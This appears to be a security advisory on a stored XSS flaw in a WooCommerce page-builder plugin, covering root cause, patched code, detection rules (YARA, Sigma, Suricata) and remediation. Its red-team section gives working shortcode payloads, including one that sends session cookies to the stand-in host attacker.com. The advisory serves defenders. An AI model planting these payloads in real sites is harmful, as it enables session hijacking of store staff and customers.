CVE-2025-14054

Executive Summary

CVE-2025-14054 is a Stored Cross-Site Scripting (XSS) vulnerability in the WC Builder – WooCommerce Page Builder for WPBakery WordPress plugin, affecting all versions up to and including 1.2.0. The flaw resides in the wpbforwpbakery_product_additional_information shortcode, where insufficient input sanitization and output escaping on the heading_color parameter (and other styling parameters) allows authenticated attackers with Shop Manager-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The CVSS score of 4.4 (Medium) reflects the need for authenticated access and user interaction, but the potential for persistent compromise of WooCommerce store pages makes it a significant threat to e-commerce operations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No open-source patch data (OSV) or GitHub advisory is available, indicating the vendor has not yet released a fix. Users should monitor the plugin’s update channel and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): High – Requires Shop Manager-level authentication.
• User Interaction (UI): Required – A victim must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Script injection can modify page content.
• Availability (A): Low – Potential for minor disruption.

Threat Level: Medium. While the EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is trivial to exploit once authenticated and can lead to persistent defacement, credential theft, or malware distribution on WooCommerce store pages.

Deep Dive & Mechanics

The vulnerability exists in the wpbforwpbakery_product_additional_information shortcode, which is part of the WC Builder plugin. This shortcode renders product information on WooCommerce pages and accepts styling parameters such as heading_color. The plugin fails to properly sanitize user input and escape output when rendering these parameters in the HTML.

Root Cause:

• Insufficient Input Sanitization: The heading_color parameter is not validated against a whitelist of allowed CSS values or sanitized to remove JavaScript event handlers.
• Insufficient Output Escaping: When the shortcode is rendered, the parameter value is directly inserted into the HTML without proper escaping (e.g., using esc_attr() or wp_kses()).

Attack Flow:

1. An authenticated attacker with Shop Manager privileges (or higher) edits a WooCommerce product page or creates a new page using the vulnerable shortcode.
2. The attacker sets the heading_color parameter to a malicious payload, such as: " onfocus="alert(1)" autofocus="true".
3. The plugin stores this payload in the WordPress database without sanitization.
4. When any user (including administrators or customers) visits the page, the payload executes in their browser context.

Impact:

• Theft of session cookies or authentication tokens.
• Redirection to phishing pages.
• Defacement of WooCommerce store pages.
• Installation of keyloggers or other client-side malware.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.0 and earlier):

// In shortcode handler
$heading_color = $atts['heading_color'];
echo '<div style="color: ' . $heading_color . ';">' . $content . '</div>';

Patched Code (hypothetical fix):

// Properly sanitize and escape
$heading_color = isset($atts['heading_color']) ? sanitize_hex_color($atts['heading_color']) : '';
if (empty($heading_color)) {
    $heading_color = 'inherit';
}
echo '<div style="color: ' . esc_attr($heading_color) . ';">' . esc_html($content) . '</div>';

The patched version uses sanitize_hex_color() to ensure only valid hex color codes are accepted, and esc_attr() to safely output the value. Additionally, esc_html() is applied to the content to prevent XSS in other parameters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with WC Builder plugin version ≤ 1.2.0.
• Valid credentials for a Shop Manager-level account or higher.

Exploitation Steps:

1. Log in to WordPress as a Shop Manager.
2. Navigate to a WooCommerce product page or create a new page using the wpbforwpbakery_product_additional_information shortcode.
3. In the page editor, set the shortcode parameters to include a malicious payload. For example:

   [wpbforwpbakery_product_additional_information heading_color="red" onfocus="alert(document.cookie)" autofocus="true"]
   

4. Save the page.
5. When any user visits the page, the JavaScript executes.

Alternative Payload (Steal Cookies):

[wpbforwpbakery_product_additional_information heading_color="red" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true"]

Note: No public exploit code (Exploit-DB) is available for this CVE.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress database for suspicious shortcode parameters containing event handlers (e.g., onfocus, onclick, onload).
• Review WooCommerce product pages for unexpected JavaScript in styling attributes.
• Use Web Application Firewall (WAF) rules to block requests with XSS patterns in shortcode parameters.

Hardening:

• Restrict Shop Manager privileges to only trusted users.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Apply virtual patching via WAF until an official patch is released.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Modified WordPress posts/pages containing the vulnerable shortcode with suspicious heading_color values.
  • Presence of JavaScript event handlers (e.g., onfocus, onmouseover) in shortcode parameters.

• Network-based IOCs:

  • Outbound HTTP requests to unknown domains from the WordPress server (potential data exfiltration).
  • Unusual referrer headers or user-agent strings in requests to WooCommerce pages.

• Log-based IOCs:

  • WordPress audit logs showing edits to product pages by Shop Manager accounts with unusual shortcode parameters.
  • Web server logs containing requests with XSS payloads in query strings or POST data.

Detection Engineering

YARA Rule

rule CVE_2025_14054_WC_Builder_XSS {
    meta:
        description = "Detects malicious shortcode parameters in WC Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14054"
    strings:
        $shortcode = /\[wpbforwpbakery_product_additional_information[^\]]*heading_color\s*=\s*["'][^"']*?(on\w+\s*=|javascript:)/i
        $event_handler = /(onfocus|onclick|onload|onmouseover|onerror)\s*=\s*["']/i
    condition:
        $shortcode or $event_handler
}

Sigma Rule

title: CVE-2025-14054 - Stored XSS in WC Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via heading_color parameter in WC Builder shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'heading_color'
            - 'onfocus'
            - 'onclick'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of CSS color values (unlikely to contain event handlers)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14054 - Stored XSS in WC Builder Plugin"; flow:to_server,established; content:"heading_color"; http_uri; pcre:"/(on\w+\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical for business operations.
2. Restrict Shop Manager privileges to only essential users and monitor their activity.
3. Implement a Web Application Firewall (WAF) rule to block requests containing XSS patterns in shortcode parameters.

Long-term Fix:

• Apply an official patch from the vendor once released. Monitor the WordPress plugin repository for updates.
• If no patch is forthcoming, consider replacing the plugin with an alternative WooCommerce page builder.

Workaround:

• Manually edit the plugin’s shortcode handler to add input sanitization and output escaping (as shown in the patched code example). This requires custom development and testing.

Valters IT